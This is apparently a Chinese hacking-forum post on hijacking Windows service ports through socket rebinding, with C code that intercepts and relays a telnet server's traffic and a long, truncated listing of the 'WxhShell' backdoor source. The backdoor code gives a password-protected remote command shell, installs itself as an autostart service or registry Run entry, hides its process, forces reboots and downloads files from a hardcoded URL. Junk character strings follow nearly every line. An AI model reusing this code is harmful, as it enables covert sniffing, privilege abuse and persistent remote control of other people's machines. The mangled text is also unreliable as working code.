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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7$b?m6fmK  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E;-qP)yU  
,9/5T:2  
  saddr.sin_family = AF_INET; #7z|mVzH  
V; 9 }7mw  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ? J|4l[x  
CD?&<NV  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~mILA->F  
~oi_r8 K  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8l xY]UT  
6 nGY^  
  这意味着什么?意味着可以进行如下的攻击: r*cjOrvI  
VbxAd 2')  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 P79R~m`  
,hE/II`-d'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *)PG-$6X&  
r<FQX3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 WV_`1hZX  
/(%Ig,<"JC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  x1DVD!0~{  
>rRf9wO1l  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o`U|`4,  
Wu{&;$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Kx]> fHK  
%aLCH\e  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 T7GQ^WnA  
h;n\*[fDc  
  #include L[]^{ O   
  #include W'G{K\(/  
  #include ta! V=U  
  #include    u`p_.n:5)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   DNho%Xk  
  int main() "8t\MKt(  
  { )H+h ;U  
  WORD wVersionRequested; 9[f%;WaS  
  DWORD ret; +wts 7,3  
  WSADATA wsaData; 00,9azs  
  BOOL val; & >b+loF  
  SOCKADDR_IN saddr; lu3.KOD/  
  SOCKADDR_IN scaddr; C@)pmSQ  
  int err; T/7vM6u  
  SOCKET s; ,9UCb$mh  
  SOCKET sc; p)z-W(  
  int caddsize; 5\?3$<1 I  
  HANDLE mt; K!7q!%Ju  
  DWORD tid;   w7ZG oh(  
  wVersionRequested = MAKEWORD( 2, 2 ); 9mm2Vps;  
  err = WSAStartup( wVersionRequested, &wsaData ); l qXc  
  if ( err != 0 ) { u !.DnKu  
  printf("error!WSAStartup failed!\n"); D@5s8xv  
  return -1; AI R{s7N  
  } >@:667i,`  
  saddr.sin_family = AF_INET; 9RB`$5F ;  
   `+fk`5Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2mLUdx~c  
\AHY[WKx  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); CnQg*+  
  saddr.sin_port = htons(23); [lOf|^9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *k!(ti[  
  { p}f-c  
  printf("error!socket failed!\n"); 'FqEB]gu  
  return -1; BP:(IP!&  
  } Vbo5`+NAis  
  val = TRUE; l JlZHO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Y}K!`~n1S  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) QjqBO+  
  { p}&Md-$1  
  printf("error!setsockopt failed!\n"); tw-fAMwU  
  return -1; =9fEv,Jk  
  } OH0S2?,{>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }E,jR=@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 AzxL%,_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P6:;Y5e0  
JxnuGkE0[#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) uFC?_q?4\  
  { }2h't.Z<u  
  ret=GetLastError(); y&y/cML?  
  printf("error!bind failed!\n"); 6<<'bi  
  return -1; "bPCOJ[v9  
  } ' *}^@[&  
  listen(s,2); rAM *\=  
  while(1) {:,_A  
  { fEB195#@9  
  caddsize = sizeof(scaddr); zuk"  
  //接受连接请求 @81-kdTx  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); eN2dy-0  
  if(sc!=INVALID_SOCKET) {x7=;-  
  { 8W;xi:CC  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); n>br,bQe  
  if(mt==NULL) OI*ZVD)J  
  { 5dqQws-,?1  
  printf("Thread Creat Failed!\n"); KUF$h Er  
  break; ~:T3|  
  } | O57N'/  
  } s fyBw  
  CloseHandle(mt); UOw~rK   
  } ,.[.SU#V  
  closesocket(s); ud yAP>  
  WSACleanup(); `'kc|!%MUq  
  return 0; y!SF/i?Py  
  }   ax<g0=^R  
  DWORD WINAPI ClientThread(LPVOID lpParam) "Ys_ \  
  { JOJh,8C) 6  
  SOCKET ss = (SOCKET)lpParam;  qe[  
  SOCKET sc; zpbcmQB*  
  unsigned char buf[4096]; 2dXU0095  
  SOCKADDR_IN saddr; Tku /OG'  
  long num; y*}AX%8`e~  
  DWORD val; _t$lcOT  
  DWORD ret; Hr /W6C  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ylkpYd  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^uC"dfH  
  saddr.sin_family = AF_INET; 'uPxEu4 >4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4,j4E@?pG9  
  saddr.sin_port = htons(23); }PtI0mZ1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b;Hm\aK  
  { B"7$!Co  
  printf("error!socket failed!\n"); cC b>zI  
  return -1; J'|=*#  
  } F<h&3  
  val = 100; se~ *<5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )WaX2uDA?  
  { sXSj OUI  
  ret = GetLastError(); p^p'/$<6_  
  return -1; 7YMxr3F  
  } aw %>YrJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E^oEG4 X@  
  { bq c;.4$  
  ret = GetLastError(); gcX5Q^`a=  
  return -1; b%=1"&JI:  
  } \B*k_W/r@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (nkUeQQN  
  { vs5 D:cZ}  
  printf("error!socket connect failed!\n"); ~+nS)4 (  
  closesocket(sc); j09mI$2y67  
  closesocket(ss);  rE/}hHU  
  return -1; k\4g|Lya  
  } e 7Yb=/F  
  while(1) [37f#p  
  { 7yY1dR<Y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ZrmnQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,$hQ(yF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~J8cS  
  num = recv(ss,buf,4096,0); |usnY  
  if(num>0) [{6&.v  
  send(sc,buf,num,0); X !&"&n  
  else if(num==0) C!aX45eg  
  break; e1f^:C  
  num = recv(sc,buf,4096,0); uf{SxEa  
  if(num>0) rC=p;BC@dD  
  send(ss,buf,num,0); ,U|u-.~ZU  
  else if(num==0) ]=$-B  
  break; Hl%+F 0^?  
  } >i><s>=I`  
  closesocket(ss); X}65\6  
  closesocket(sc); &*V0(  
  return 0 ; ,Ut!u)  
  } ~NNaLl  
? RrC~7~  
Z'*G'/*  
========================================================== uAPLT~  
)w }*PL  
下边附上一个代码,,WXhSHELL Y\\3g_YBF  
L<[,7V  
========================================================== aT`02X   
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#include "stdafx.h" ^c;skV&S  
1xFhhncf  
#include <stdio.h> h0y\,iWXb  
#include <string.h> IdQwLt  
#include <windows.h> S7\|/h:4  
#include <winsock2.h> Oy?iAQ+  
#include <winsvc.h> i?P]}JENM  
#include <urlmon.h> zm_hLk  
T$>=+U  
#pragma comment (lib, "Ws2_32.lib") n WO~v{h3J  
#pragma comment (lib, "urlmon.lib") 45!`g+)  
'3Lx!pMhN  
#define MAX_USER   100 // 最大客户端连接数 eog,EP"a8Y  
#define BUF_SOCK   200 // sock buffer 9X^-)G>  
#define KEY_BUFF   255 // 输入 buffer *$WiJ3'(m  
HzO0K=Z=R0  
#define REBOOT     0   // 重启 .DV#-tUh  
#define SHUTDOWN   1   // 关机 {?h6*>-^Z  
!O%f)v?  
#define DEF_PORT   5000 // 监听端口 Wpg?%+Y  
lw/ m0}it  
#define REG_LEN     16   // 注册表键长度 T_;G))q'  
#define SVC_LEN     80   // NT服务名长度 5]2!B b6>  
,2:L{8_L  
// 从dll定义API ZP G8q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Tl0+Bq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hTNYjXj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2Dwt4V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HWao3Lz  
zs]>XO~Jg  
// wxhshell配置信息 d+$[EDix  
struct WSCFG { %y^ Kw  
  int ws_port;         // 监听端口 0"D?.E"$r  
  char ws_passstr[REG_LEN]; // 口令 h 19.b:JT  
  int ws_autoins;       // 安装标记, 1=yes 0=no G%x,t -  
  char ws_regname[REG_LEN]; // 注册表键名 |H|eH~.yg&  
  char ws_svcname[REG_LEN]; // 服务名 ":#A>L? l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J~ gkGso  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =S?-=jPtg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mrB hvp""  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W} +6L|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ywa.cq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t+Tg@~K2[>  
o@V/37!  
}; "r `6c0Z  
P)o[p(  
// default Wxhshell configuration I]S(tx!  
struct WSCFG wscfg={DEF_PORT, Dqo:X`<bT  
    "xuhuanlingzhe", (Gb{ckzs  
    1, Ns7l-mb  
    "Wxhshell", j2&OYg  
    "Wxhshell", fVe-esAw  
            "WxhShell Service", b|pNc'u:Cn  
    "Wrsky Windows CmdShell Service", ]KII?{ <k  
    "Please Input Your Password: ", UqQZ A0e  
  1, kTe<1^,m  
  "http://www.wrsky.com/wxhshell.exe", mjJlXA  
  "Wxhshell.exe" ri.|EmH2:D  
    }; U},W/g-  
Z-r0 D  
// 消息定义模块 3n"&$q6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AT8,9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vf'jz`Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PyJblW  
char *msg_ws_ext="\n\rExit."; 9#ay(g  
char *msg_ws_end="\n\rQuit."; p{_ O*bo  
char *msg_ws_boot="\n\rReboot..."; 2FtEt+A+'  
char *msg_ws_poff="\n\rShutdown..."; +hYmL Sq  
char *msg_ws_down="\n\rSave to "; !Kn+*'#  
O&1p2!Bk4  
char *msg_ws_err="\n\rErr!"; @o.i2iG  
char *msg_ws_ok="\n\rOK!"; ':fbf7EL<  
%x)U8  
char ExeFile[MAX_PATH]; 8&AorYw[  
int nUser = 0; 8IcQpn#  
HANDLE handles[MAX_USER]; HCCp<2D"C  
int OsIsNt; 6#-; ,2i  
Tl{r D(D  
SERVICE_STATUS       serviceStatus; SVeU7Q6-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; G&B}jj  
{;gWn' aq  
// 函数声明 DD3yl\#,  
int Install(void); O[J+dWyp  
int Uninstall(void); >~r@*gml  
int DownloadFile(char *sURL, SOCKET wsh); F>nrV  
int Boot(int flag); x}24?mP  
void HideProc(void); YS6az0ie  
int GetOsVer(void); VZl0)YLK  
int Wxhshell(SOCKET wsl); 3W00,f^9  
void TalkWithClient(void *cs); -Q8`p  
int CmdShell(SOCKET sock); bpCe&*\6K  
int StartFromService(void); %&S]cEw  
int StartWxhshell(LPSTR lpCmdLine); T7X2$ '  
e 2&i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %zVv3p:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yL,B\YCf8  
J@-9{<  
// 数据结构和表定义 D*b|(Oi  
SERVICE_TABLE_ENTRY DispatchTable[] = clV/i&]Qa  
{ %-1-J<<J q  
{wscfg.ws_svcname, NTServiceMain}, a];i4lt(c  
{NULL, NULL} G->@   
}; 5Wjp_^!e  
ZPog)d@!  
// 自我安装 Jk{2!uP  
int Install(void) kKO]q#9sO  
{ Hc3/`.nt  
  char svExeFile[MAX_PATH]; D~);:}}>  
  HKEY key; "6h.6_bTw  
  strcpy(svExeFile,ExeFile); ~|]\. ^B  
x/v+7Pt_  
// 如果是win9x系统,修改注册表设为自启动 !9Ni[8&Fg0  
if(!OsIsNt) { "aH]4DO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eu/Sp3@v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EPfVS  
  RegCloseKey(key); s_Gp +-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &Kwt vUN{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 81 C?U5  
  RegCloseKey(key); ]P5u:~U  
  return 0; an@Ue7  
    } m#P&Yd4T  
  } bBL"F!.  
} s)=7tHoqB)  
else { 7?@v}%w  
j$Co-b1  
// 如果是NT以上系统,安装为系统服务 wVX0!y6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /GNYv*  
if (schSCManager!=0) Dbd5d]]n3  
{ 7 |A,GH  
  SC_HANDLE schService = CreateService P@ u%{  
  ( B(U`Zd  
  schSCManager, [sRQd;+  
  wscfg.ws_svcname, 0SYkDI  
  wscfg.ws_svcdisp, W@Wh@eSb;  
  SERVICE_ALL_ACCESS, '-_PO|}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 75ob1h"  
  SERVICE_AUTO_START, ~b/>TKn+  
  SERVICE_ERROR_NORMAL, I_Qnq4Sk(  
  svExeFile, ml2HA4X&$Y  
  NULL, ~heF0C_  
  NULL, 9yPB)&"EF  
  NULL, {I ,'  
  NULL, I._=q  
  NULL 9#7z jrB  
  ); f]ef 1#  
  if (schService!=0) !ywc).]e  
  { 5;*C0m2%i  
  CloseServiceHandle(schService); # ,Y}  
  CloseServiceHandle(schSCManager); pOXEM1"2A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kaLRI|hC  
  strcat(svExeFile,wscfg.ws_svcname); fi)ypv*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ObUQB+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,??|R` S  
  RegCloseKey(key); RPu-E9g@  
  return 0; 'n=D$j]X  
    } @{G(.S  
  } /(w5S',EL  
  CloseServiceHandle(schSCManager); K;~dZ  
} 4{_5z7ody  
} IM+PjYJ  
n9%rjS$  
return 1; cVMTT]cj1  
} }z[se)s  
AWzpk }\  
// 自我卸载 MD,-<X)Qy  
int Uninstall(void) K(?7E6\vO  
{ )L?Tq"hy  
  HKEY key; MB)xL-jO  
'#fj)  
if(!OsIsNt) { 8dv1#F|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ez )Go6Q  
  RegDeleteValue(key,wscfg.ws_regname); Pz?O_@Ln  
  RegCloseKey(key); ;O CYx[|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @RjLDj+)S  
  RegDeleteValue(key,wscfg.ws_regname); ??F{Gli"C`  
  RegCloseKey(key); 9Ah4N2nL-b  
  return 0; q&vr;f B2  
  } \<5xf<{  
} *(rq AB0~  
} B\Uj  
else { 6l4l74  
*]LM2J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^^v!..V]J  
if (schSCManager!=0) Ne=D $o  
{ =hA/;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o,29C7Ii  
  if (schService!=0) X/Ae-1!  
  { .e6:/x~p*  
  if(DeleteService(schService)!=0) { NTV0DkX  
  CloseServiceHandle(schService); DV. m({?  
  CloseServiceHandle(schSCManager); `18G 5R  
  return 0; qZ4DO*%b3  
  } Q$3%aR-2  
  CloseServiceHandle(schService); oOuWgr]0  
  } 'p<(6*,"  
  CloseServiceHandle(schSCManager); /t816,i  
} hgm`6TQ  
} q|S }5  
us/x.qPy2  
return 1; 1e }wDMU(  
} +Ta7b)  
@6\8&(|  
// 从指定url下载文件 %zWtPxAf  
int DownloadFile(char *sURL, SOCKET wsh) IkD\YPL;  
{ n#4Ra+dD  
  HRESULT hr; =|H/[",gg  
char seps[]= "/"; 291v R]  
char *token; !fZxK CsQ  
char *file; +YP,LDJ!v  
char myURL[MAX_PATH]; %KqXtc`O  
char myFILE[MAX_PATH]; n]|[|Rf1  
9'}m797I'  
strcpy(myURL,sURL); 7Ij'!@no  
  token=strtok(myURL,seps); Zd042 %  
  while(token!=NULL) q")}vN  
  { ~/QzL.S;p  
    file=token; pm^[ve  
  token=strtok(NULL,seps); !}U&%2<69  
  } A!SHt7ysJ  
x#U?~6.6  
GetCurrentDirectory(MAX_PATH,myFILE); 7,Nd[ oL*7  
strcat(myFILE, "\\"); 8hdd1lVKO8  
strcat(myFILE, file); e)O6k7U$  
  send(wsh,myFILE,strlen(myFILE),0); ^ *RmT  
send(wsh,"...",3,0); YYN= `ST  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p,U.5bX  
  if(hr==S_OK) {R\"x|  
return 0; _.zW[;84b  
else F?3a22Zg#  
return 1; !DXKn\aQf  
a>6!?:Rj  
} klv ]+F&[  
5yuR[ VU  
// 系统电源模块 qpFFvZ W  
int Boot(int flag) 7\<#z|  
{ }m(u o T~  
  HANDLE hToken; }3ty2D#/:  
  TOKEN_PRIVILEGES tkp; ]=7}Y%6  
u9_ Fjm}&  
  if(OsIsNt) { gCW.;|2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eE+zL ~CE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); * ix&"|h  
    tkp.PrivilegeCount = 1; 5l}v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *q\Ve)E}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7jvf:#\LtL  
if(flag==REBOOT) { 8N'[ )Jw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m6bAvy]3<t  
  return 0; ULNU'6  
} h:}oUr8   
else { +' QX`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =bi:<%"  
  return 0; q{nNWvL  
} :dc>\kUIv  
  } 4 bw8^  
  else { |L 11?{ K  
if(flag==REBOOT) { Mpzt9*7R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KY~p>Jmh  
  return 0; 1k EXTs=,  
} ]6bh#N;.  
else { 5hF iK K7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d,tGW  
  return 0; Z%E;*R2+:>  
} _Ryt|# y  
} `q@5d&d`j  
<b.?G  
return 1; [+\=x[q  
} ]%>7OH'  
d"`/P?n x  
// win9x进程隐藏模块 c6.S jV  
void HideProc(void)  >\6Tm  
{ .fY1?$*6c  
,@!io  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +m8CN(c  
  if ( hKernel != NULL ) n;+CV~  
  { C,r[H5G#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t.Q}V5t{g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JcV'O)&  
    FreeLibrary(hKernel); LS;j]!CU  
  } tUU`R{=(  
Yz7H@Y2i  
return; je LRS8];  
} w*#B_6bG  
m.!n|_}]  
// 获取操作系统版本 goBl~fqy0  
int GetOsVer(void) %EV\nwn6  
{ T-,T)R`R  
  OSVERSIONINFO winfo; kd55y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >1uo5,wrF  
  GetVersionEx(&winfo); @N+ }cej  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,'!x 9 `  
  return 1; v3\ |  
  else ',+YWlW  
  return 0; ]rC2jB\,M  
} 5>CmWMQ  
(dvsGYT|.  
// 客户端句柄模块 3QSA|  
int Wxhshell(SOCKET wsl) E3hql3=  
{ oW ! Z= ;  
  SOCKET wsh; vX?MB  
  struct sockaddr_in client; =f~8"j  
  DWORD myID; vtx3a^  
80m<OW1  
  while(nUser<MAX_USER) B|I9Ex~L  
{ =#=<%HPT  
  int nSize=sizeof(client); /6fa 7;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I'h|7y\  
  if(wsh==INVALID_SOCKET) return 1; 4C:-1gu7  
= 1ltX+   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )\aCeY8o  
if(handles[nUser]==0) 6&9}M Oc  
  closesocket(wsh); E^s<5BC;  
else meF.`fh  
  nUser++; OkNBP 0e}  
  } U~CG(9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2 .p?gRO  
jK(]e iR$S  
  return 0; ]`+J!G,  
} ~SzHIVj:6  
#3~hF)u&/  
// 关闭 socket 7=hISQMsVP  
void CloseIt(SOCKET wsh) u=QG%O#B  
{ pLdZB9oD]C  
closesocket(wsh); KT3n -Y-,  
nUser--; 9B)<7JJX!J  
ExitThread(0); M7`iAa.}  
} y1 qJ  
C<B+!16  
// 客户端请求句柄 F[@M?  
void TalkWithClient(void *cs) [`n)2} k  
{ [,a2A  
>OxSrc@A  
  SOCKET wsh=(SOCKET)cs; t,]E5,1  
  char pwd[SVC_LEN]; af-  
  char cmd[KEY_BUFF]; -\|S=< g  
char chr[1]; Spm0DqqR?  
int i,j; ^yFtL(x,  
|& Pa`=sp  
  while (nUser < MAX_USER) { o4t6NDa  
A. 5`+  
if(wscfg.ws_passstr) { <=Z`]8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dX;Q\  ]"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \- f^C}m  
  //ZeroMemory(pwd,KEY_BUFF); (#K u`  
      i=0; "6t#   
  while(i<SVC_LEN) { =}K"@5J  
wa%;'M&  
  // 设置超时 gp(: o$  
  fd_set FdRead; eqQ=HT7J  
  struct timeval TimeOut; /^\UB fE  
  FD_ZERO(&FdRead); iXPe  
  FD_SET(wsh,&FdRead); SL$ bV2T  
  TimeOut.tv_sec=8; p:Hg>Z  
  TimeOut.tv_usec=0; cCB YM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p0sq{d~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MO%kUq|pg  
6 k+4R<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^~DDl$NH  
  pwd=chr[0]; IBm"VCg{Ew  
  if(chr[0]==0xd || chr[0]==0xa) { a+=.(g  
  pwd=0; 6F:< c  
  break; 6d{&1-@>  
  } Q:^.Qs"IK  
  i++; J.Fy0W@+k4  
    } O.z\ VI2f  
c`O(||UZT  
  // 如果是非法用户,关闭 socket !m:rtPD'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GyQ9we~  
} $I|6v  
m&a 8/5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?F" mZu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P}~nL  
{?RVw`g&f  
while(1) { EWC{896,  
@;t6Slc"~  
  ZeroMemory(cmd,KEY_BUFF); ;"w?@ELE  
$!v:@vNMs  
      // 自动支持客户端 telnet标准   py }`thx  
  j=0; NbPNcjPL  
  while(j<KEY_BUFF) { bw8[L;~%_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9/#?]LJ  
  cmd[j]=chr[0]; !]C=5~B BI  
  if(chr[0]==0xa || chr[0]==0xd) { %EE Q ^lm  
  cmd[j]=0; ~A@HW!*Z@  
  break; d;hv_h  
  } *W-:]t3CR  
  j++; i_f\dkol  
    } M2!2 J  
zVvL!  
  // 下载文件 :^rt8>~  
  if(strstr(cmd,"http://")) { 2y5d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9>k_z&<  
  if(DownloadFile(cmd,wsh)) Xe2Zf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W 9!K~g_  
  else "cz'|z`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !2F X l;  
  } H b?0?^#  
  else { 7q(A&  
^v5<*uf%m  
    switch(cmd[0]) { '.{_ 7U  
  Q!y%N&  
  // 帮助 7S2"e[-x  
  case '?': { ~@$RX: p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'E"W;#%  
    break; {I8C&GS  
  } 2EiE5@  
  // 安装 X]}:WGFM  
  case 'i': { +~$pkxD"  
    if(Install()) I8f='  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8Dkq+H93  
    else 2ElZ&(RZJF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h + <Jv   
    break; an2Yluc;  
    } `\$EPUM  
  // 卸载 Y_<-.?jf  
  case 'r': { _tRRIW"Vx"  
    if(Uninstall()) 8"}8Nrb0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :-Ml?:0_X  
    else :%>)S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wv||9[Rd  
    break; :gn&wi  
    } xqb*;TBh*  
  // 显示 wxhshell 所在路径 NfWL3"&X  
  case 'p': { "hk {"0E  
    char svExeFile[MAX_PATH]; ]\y]8v5(  
    strcpy(svExeFile,"\n\r"); erh ez  
      strcat(svExeFile,ExeFile); @'<=E AXe  
        send(wsh,svExeFile,strlen(svExeFile),0); Xe&p.v  
    break; dNf:I,<DCf  
    } ]$=#:uf  
  // 重启 V8#NXU g<!  
  case 'b': { Lg~ll$ U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t.#ara{  
    if(Boot(REBOOT)) {&J~P&,k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \CX6~  
    else { "W~vSbn7  
    closesocket(wsh); GVhy }0|  
    ExitThread(0); K^ ALE  
    } ~1{ppc+  
    break; _+X-D9j(l  
    } FGzKx9I9  
  // 关机 mV^~  
  case 'd': { c]n"1YNm  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >g m  
    if(Boot(SHUTDOWN)) W>5[_d  
